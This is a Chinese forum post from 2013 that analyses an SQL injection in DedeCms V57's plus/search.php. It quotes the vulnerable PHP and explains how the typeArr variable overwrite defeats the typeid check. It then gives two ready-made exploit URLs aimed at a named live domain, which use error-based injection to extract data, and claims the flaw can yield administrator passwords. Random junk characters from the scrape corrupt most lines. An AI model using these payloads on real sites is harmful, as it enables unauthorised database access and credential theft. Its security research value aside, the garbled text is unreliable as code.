找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2135|回复: 0
打印 上一主题 下一主题

DedeCms V57 plus/search.php文件SQL注射

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-19 08:18:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.6 a# A3 q0 f- y7 E/ G" M+ Q* x
作者: c4rp3nt3r@0x50sec.org: V" ^$ K# U/ M
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
; o" i$ s! I7 o* h
- `5 G0 |+ I+ r; N3 {黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
$ L+ d1 f. ~+ K 4 Y6 s# g* O! L
============
) e: S7 A7 {) q# G5 L4 G 1 t2 x- W( |* ]: v- @6 F4 n
( P2 S( g; @* v: b  U. e
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
8 Q, a' P1 M0 x& e2 g$ @ ( i  r2 q4 ~9 i) o
require_once(dirname(__FILE__).”/../include/common.inc.php”);
2 {- u8 o( I9 Z1 {* Brequire_once(DEDEINC.”/arc.searchview.class.php”);4 G& J. v1 j2 [: b0 ^9 i

# m: N' Q+ }% w. r, k$ h$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;& s0 j* n0 m' A: K, J
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
3 z$ i' {+ N% i0 T+ ~8 o$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
4 k4 l& O# |; M4 |; v$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;' z" P! U- [, B( @" e1 z2 ?9 N
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
9 D5 y/ j  n% ~( r& z) e 0 |9 x/ R% U" F+ Z7 w' P& s! g4 y/ l/ Y
if(!isset($orderby)) $orderby=”;6 \- v) v" m( h& }  e( r
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
3 ~7 Y  ]; S; W
) |" e8 B: x' W
9 L, E! a3 z, @# y- Lif(!isset($searchtype)) $searchtype = ‘titlekeyword’;9 |8 j3 Y6 u: l0 Q2 p/ |$ r
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);  s6 g+ l! O6 ?

4 }+ ]8 n7 E: I* c) i" Gif(!isset($keyword)){; Y0 F$ V& m, @$ f4 [, ^- \
    if(!isset($q)) $q = ”;
5 @3 J, P/ E* L( e/ w3 {    $keyword=$q;7 H) N: ^* ]8 {1 `8 n' y# s
}8 t' k. [+ d7 w4 s9 L" v

- r) u% u) o8 e, s$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
3 |+ S) F* s3 g- W( e* k 6 ]# P: b+ F; @9 _9 s" C. v: L
//查找栏目信息
% [) K  O, f2 c3 pif(empty($typeid))# }. a  K6 |" f. s" f$ i
{) Q6 W' D" E( e6 T7 J* G3 k
    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
% n$ N9 V5 r1 Y" ^    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
$ i1 m/ d' Z7 f! _. N1 G    {
7 Z" ~. A/ O- D$ {  ~: ~        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);  ~# \, t( z# v3 E+ Y* D
        fwrite($fp, “<”.”?php\r\n”);
3 k* |3 K5 r+ X5 q$ T        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
) U* {) U; o$ v3 E  i' I9 X$ {        $dsql->Execute();) \$ W3 L/ K; W# Y5 s7 x* l! c$ l' [
        while($row = $dsql->GetArray())& R) N+ e% \; a1 M! ]" i
        {
# A/ d( ^! u% t; Z/ r# p            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
3 @, [0 @. g* J/ j, O        }
* j9 ?3 A9 _8 A: x& Z        fwrite($fp, ‘?’.'>’);6 q$ ^) L5 l4 Y4 X- |& ~2 ^* d
        fclose($fp);
1 L4 t, S& C: X6 C    }! i/ w4 Y3 i9 ~$ Q1 y: p
    //引入栏目缓存并看关键字是否有相关栏目内容& O: Q# M3 S8 a' n
    require_once($typenameCacheFile);2 H9 }$ a" s7 f- _" m" g! A
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个4 j3 M/ j- Q; p3 N
//
1 ^( D" `. L& u2 ]( T    if(isset($typeArr) && is_array($typeArr))
2 `8 Z$ `/ M2 o/ B9 N    {7 l2 E0 c6 x) m
        foreach($typeArr as $id=>$typename)5 ?  p8 O( k8 n2 d
        {
  e* e8 y/ d/ D . N0 z1 K! u$ Z9 }# M# ?( e
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过
7 w, L$ G& R) S# M4 Q9 x7 Z            if($keyword != $keywordn)0 \9 f4 I  N# O
            {
7 t6 U5 h* \: c  Y* f. X5 b                $keyword = $keywordn;
/ j% ]3 i9 @: ~! V                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
: G" h4 C8 e  ?                break;1 ?1 F# e" F! V2 ?: h
            }+ W* V, r8 t; F' `+ k
        }8 l. Q6 M' g6 o& h
    }# [, g; E1 H% v4 I
}0 H8 m$ |- l" k$ E1 B
然后plus/search.php文件下面定义了一个 Search类的对象 .
/ l2 ]: P9 n: k9 {9 k, `% P" ~在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.; N8 Q2 o7 ]2 ?" e+ I
$this->TypeLink = new TypeLink($typeid);
( w; A- N2 Y0 i, v . W$ s2 \( P. ^9 X
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
' w' u" g8 F/ O0 C, W 4 G! I2 P$ h- h7 H- r; c' B$ y
class TypeLink
1 d- A% J+ T9 t, Y, C5 T$ Z{
( O9 v- H, ^. l1 [$ a; n8 _% |& r    var $typeDir;
* v" M  h9 o' Q0 q    var $dsql;
" h" J2 k7 D+ Q0 m6 _" S- `    var $TypeID;5 O. o, [; [) H2 s* M' ?
    var $baseDir;
4 n: G0 @" T' R0 T    var $modDir;
8 O2 m- E, t# v( G$ |- p" Q    var $indexUrl;
, N9 ^& S, T6 L' k    var $indexName;% {! q5 z5 X$ Z& A7 n8 Z0 |* v+ [
    var $TypeInfos;
" \. c; o# U! r$ F) e* P6 j8 j; b    var $SplitSymbol;
: ^/ u; k- W" [0 U. F    var $valuePosition;
7 U5 q8 {: k  Z8 W    var $valuePositionName;
: v7 Z& ?! Z) Q4 R; k    var $OptionArrayList;//构造函数///////: i. }+ a  V/ ?5 e  v4 k
    //php5构造函数
$ z: f6 y( Z# F$ ?    function __construct($typeid): f* C# W2 C1 i$ V+ r  R  X! @! d5 ^/ o" {
    {, T# V) ^- {$ F+ p& D/ E  l
        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
/ _! Z' @( b" E5 r4 p6 h  e        $this->indexName = $GLOBALS['cfg_indexname'];$ y  e9 {  S  a
        $this->baseDir = $GLOBALS['cfg_basedir'];
6 z* O- P1 w- N/ M, z+ \        $this->modDir = $GLOBALS['cfg_templets_dir'];0 N% `8 h  _  _4 c4 R8 h% c
        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
! g) \+ Q7 V- `3 ^1 X1 M3 {6 t        $this->dsql = $GLOBALS['dsql'];  i' b" R0 P: `( M
        $this->TypeID = $typeid;
) q. `' ?$ P+ B        $this->valuePosition = ”;
1 z8 r+ W( S8 `7 o        $this->valuePositionName = ”;
. L+ S0 H" f" K! u$ Y* P, J        $this->typeDir = ”;) q/ ?: a. x0 Z+ @0 t0 v# r. v
        $this->OptionArrayList = ”;
7 s4 S- }; B3 o2 P8 h* z7 s
) o2 I) @2 k2 X; P        //载入类目信息5 o4 l# ~2 Q9 O, S8 ?
. M, G6 O: A9 g; }
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as& f% ~6 n( W# M1 \' h
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join; R, j' J3 R/ u( M' X
`#@__channeltype` ch
6 O! ]6 P1 }  q$ W; K4 q: a5 {        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
' J# V! Q6 J; F/ {$ F ( W; S5 i2 I+ W* p: b6 M' y' C
        if($typeid > 0)" w8 {3 ?7 Q. {
        {$ \- x+ F7 r3 [& p* v5 M9 n  p8 ^" h
            $this->TypeInfos = $this->dsql->GetOne($query);
5 `2 x* h& A; m6 x% w8 f利用代码一 需要 即使magic_quotes_gpc = Off& J! Y: E: T. l( m

3 m8 @" m6 O' h  Z# X7 Dwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title9 ~% [. Q0 P4 p4 x

! d) n: @( S* `* L( ?& |8 _& A这只是其中一个利用代码… Search 类的构造函数再往下" b+ \2 J1 k3 \# O
* }' t' K6 a  X! W2 ^
……省略
9 {5 u( t$ H7 R1 O$this->TypeID = $typeid;: \5 z+ S9 }1 _8 f& q' D8 c
……省略% O/ ^$ m7 [) X: b4 J$ s9 U
if($this->TypeID==”0″){
4 R* J/ ?  f7 l9 ^2 c2 {" {            $this->ChannelTypeid=1;
8 Y3 m1 W& {2 \6 ?: V7 R        }else{
1 J3 `, }8 p! n: @( x- D            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
4 a; e( g* O* i* N+ D- I//现在不鸡肋了吧亲…! |7 w# u$ h0 @) B$ ?7 I
            $this->ChannelTypeid=$row['channeltype'];
9 t  F# L) ~9 \- F9 A+ f
& M2 N# {. Q) L9 b- z! m8 B6 I        }
, r' G8 s) ?. h+ W  L; F9 m% V利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.5 s4 g3 I1 V' w6 Y( V  b! x
% J' R. \% k& J# {- J, Y
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title; x% I/ z6 b8 T- K. A! I

7 l, C' P6 \; e: C6 s5 `5 D  k$ s如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站& a* ^( w2 b/ f+ k4 Y5 G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表